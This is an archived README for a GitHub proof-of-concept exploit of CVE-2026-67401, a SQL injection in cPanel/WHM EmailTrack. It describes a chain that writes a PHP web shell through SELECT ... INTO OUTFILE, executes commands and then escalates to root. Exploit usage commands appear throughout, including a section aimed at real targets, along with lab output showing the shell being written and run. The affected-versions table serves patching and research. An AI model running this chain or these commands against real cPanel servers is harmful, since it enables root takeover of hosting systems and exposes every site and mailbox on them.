--- id: 8840 canonical_url: "https://phying.com/item/8840" source_url: "https://github.com/imbas007/CVE-2026-67401" source_domain: "github.com" title: "PoC for CVE-2026-67401: cPanel/WHM EmailTrack SQL Injection Leading to Root RCE" type: "tool" severity: "unknown" cve: "CVE-2026-67401" published_at: "2026-09-17T06:53:22Z" lang: "en" --- # CVE-2026-67401 — cPanel/WHM EmailTrack SQL Injection → Root RCE [![CVE](https://camo.githubusercontent.com/7ce0d051e943c0ba45d4d8c7ecd354e8df2177ceba8fc780bd0d9ff8a31a1ad7/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4356452d323032362d2d36373430312d637269746963616c2d726564)](https://camo.githubusercontent.com/7ce0d051e943c0ba45d4d8c7ecd354e8df2177ceba8fc780bd0d9ff8a31a1ad7/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4356452d323032362d2d36373430312d637269746963616c2d726564) [![Severity](https://camo.githubusercontent.com/2127afb3a0b9730b673d2cb1d220f9ac0c1f3ae7c7cb77c942b9c105b526de9f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f73657665726974792d637269746963616c2d637269746963616c)](https://camo.githubusercontent.com/2127afb3a0b9730b673d2cb1d220f9ac0c1f3ae7c7cb77c942b9c105b526de9f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f73657665726974792d637269746963616c2d637269746963616c) [![Platform](https://camo.githubusercontent.com/8d15cde27d3fbc99164d477833e7cf2d7e4a92b7ddc79b5add502b69af357673/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f706c6174666f726d2d6350616e656c25323025324625323057484d2d626c7565)](https://camo.githubusercontent.com/8d15cde27d3fbc99164d477833e7cf2d7e4a92b7ddc79b5add502b69af357673/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f706c6174666f726d2d6350616e656c25323025324625323057484d2d626c7565) [![Python](https://camo.githubusercontent.com/066693bae94b6797e3354a50bbd7bd8157a1a6b95c8d082a9ceb3b1a768dc052/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e382532422d626c7565)](https://camo.githubusercontent.com/066693bae94b6797e3354a50bbd7bd8157a1a6b95c8d082a9ceb3b1a768dc052/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e382532422d626c7565) Proof-of-concept for **CVE-2026-67401**, a critical SQL injection vulnerability in cPanel & WHM's **EmailTrack** functionality that allows an authenticated user with mail-related privileges to write arbitrary files and execute code as **root**. > **Discovered by:** Ali Mustafa > **Disclosed:** September 8, 2026 > **Component:** EmailTrack (email delivery logging / tracking) --- ## Affected Versions Versions **below** the fixed builds are vulnerable. | cPanel Build Series | Fixed Version | | 11.110 | 11.110.0.143 | | 11.134 | 11.134.0.55 | | 11.136 | 11.136.0.39 | | 11.138 | 11.138.0.4 | | WP2 (11.138) | 11.138.1.9 | Check your version with: ``` cat /usr/local/cpanel/version ``` --- ## Exploit Chain ``` `┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐ │ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │ │ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │ │ (mail priv) │ │ API call │ │ (shell) │ │ │ └─────────────┘ └────────────┘ └─────────┘ └──────────┘ ` ``` 1. **Authenticate** to cPanel with an account holding mail privileges. 1. **Inject** through the EmailTrack `account` parameter. 1. **Write** a PHP web shell with `SELECT ... INTO OUTFILE` into `public_html/`. 1. **Execute** commands through the shell. 1. **Escalate** via cPanel's SUID binaries, cron, or task queue. --- ## Repository Contents | File | Description | | `poc_sqli.py` | SQL injection detection: boolean-based, time-based, and UNION column count | | `poc_full_chain.py` | Full exploit chain: SQLi → `INTO OUTFILE` web shell → RCE → root guidance | | `lab/vuln_server.py` | Local simulation of the vulnerable EmailTrack backend (safe, self-contained) | | `README.md` | This document | The bundled lab lets you run and validate the entire chain **without a real cPanel server**. --- ## Requirements - **Python 3.8+** - No third-party packages — everything uses the standard library. --- ## Usage All commands are run from the repository root. ### 1. Run the local lab ``` python3 lab/vuln_server.py 18123 lab/htdocs ``` - **Credentials:** `alice` / `s3cr1t` - **Emulates:** UAPI login, the vulnerable EmailTrack query, `SLEEP()`, `INTO OUTFILE`, and PHP web-shell execution. - **Argument 1:** port (default `18123`) - **Argument 2:** document root (default `lab/htdocs`) Leave this running in one terminal and use a second terminal for the PoCs. ### 2. SQL injection detection ``` python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect ``` | Argument | Description | | `-H, --host` | cPanel host, e.g. `https://cp.example.com:2083` | | `-u, --username` | cPanel account with mail privileges | | `-p, --password` | Account password | | `--param` | Injectable parameter (default: `account`) | | `--mode` | `detect` (default), `boolean`, `timing`, `union`, or `all` | | `--sleep` | `SLEEP()` duration for the timing probe (default: `3.0`) | | `--dump-version` | Attempt to extract the DBMS version via UNION | | `--insecure` | Skip TLS certificate verification | **Run a specific probe:** ``` # UNION column count only python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union # Time-based only, 5-second delay python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5 ``` ### 3. Full exploit chain ``` CPANEL_USER=alice CPANEL_PASS='s3cr1t' \ python3 poc_full_chain.py http://127.0.0.1:18123 \ --shell-base http://127.0.0.1:18123 ``` | Argument / Env | Description | | `host` (positional) | cPanel host, or set env `CPANEL_HOST` | | `CPANEL_USER` | cPanel account with mail privileges | | `CPANEL_PASS` | Account password | | `--shell-base` | Base URL that serves `public_html` (where the web shell is reached) | | `--insecure` | Skip TLS certificate verification | | `--no-escalate` | Stop after RCE; skip root escalation guidance | | `SHELL_NAME` (env) | Web shell filename (default: `.mail.cache.php`) | **Stages executed automatically:** 1. Authenticate to cPanel 1. Confirm SQL injection (boolean + time-based) 1. Determine the query's column count via UNION 1. Write a PHP web shell with `SELECT ... INTO OUTFILE` 1. Execute commands through the shell (`id`, `whoami`, SUID enumeration, …) 1. Print root escalation guidance (SUID `whmapi1`, cron, task queue) ### 4. Against a real target ``` # Detection python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \ --insecure --mode detect # Full chain (--shell-base is the account's web host, not the cPanel port) CPANEL_USER=user CPANEL_PASS='pass' \ python3 poc_full_chain.py https://cp.example.com:2083 \ --shell-base https://cp.example.com --insecure ``` > **Note:** the default `--shell-base` strips the cPanel-only port (`2082`/`2083`) > from the host. If the document root is served on a different port, set it > explicitly. --- ## Verified Results Output produced against the bundled lab: ``` ` CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE version 1.0 target: http://127.0.0.1:18123 user: alice [+] authenticated [1] confirming SQL injection in EmailTrack `account` [+] boolean-based SQLi CONFIRMED [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s) [2] determining column count via UNION [+] target query has 5 columns [3] writing PHP web shell via SELECT ... INTO OUTFILE [+] shell written -> /home/alice/public_html/.mail.cache.php [4] executing commands through the web shell [+] id -> uid=1000(x) gid=1000(x) ... ` ``` ## References - [Critical cPanel SQL Injection Lets Attackers Grab Root Access — The Daily Tech Feed](https://thedailytechfeed.com/critical-cpanel-sql-injection-lets-attackers-grab-root-access/) - [cPanel Security Advisory: CVE-2026-67401](https://support.cpanel.net/hc/en-us/articles/43187903921559-Security-CVE-2026-67401-SQL-Injection-Vulnerability-in-cPanel-s-EmailTrack-Functionality-September-8-2026) - [CWE-89: Improper Neutralization of Special Elements used in an SQL Command](https://cwe.mitre.org/data/definitions/89.html) --- ## License Released for educational and authorized security-research purposes. See [Disclaimer](#disclaimer) before use. --- > 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8840) · Original source: [github.com](https://github.com/imbas007/CVE-2026-67401)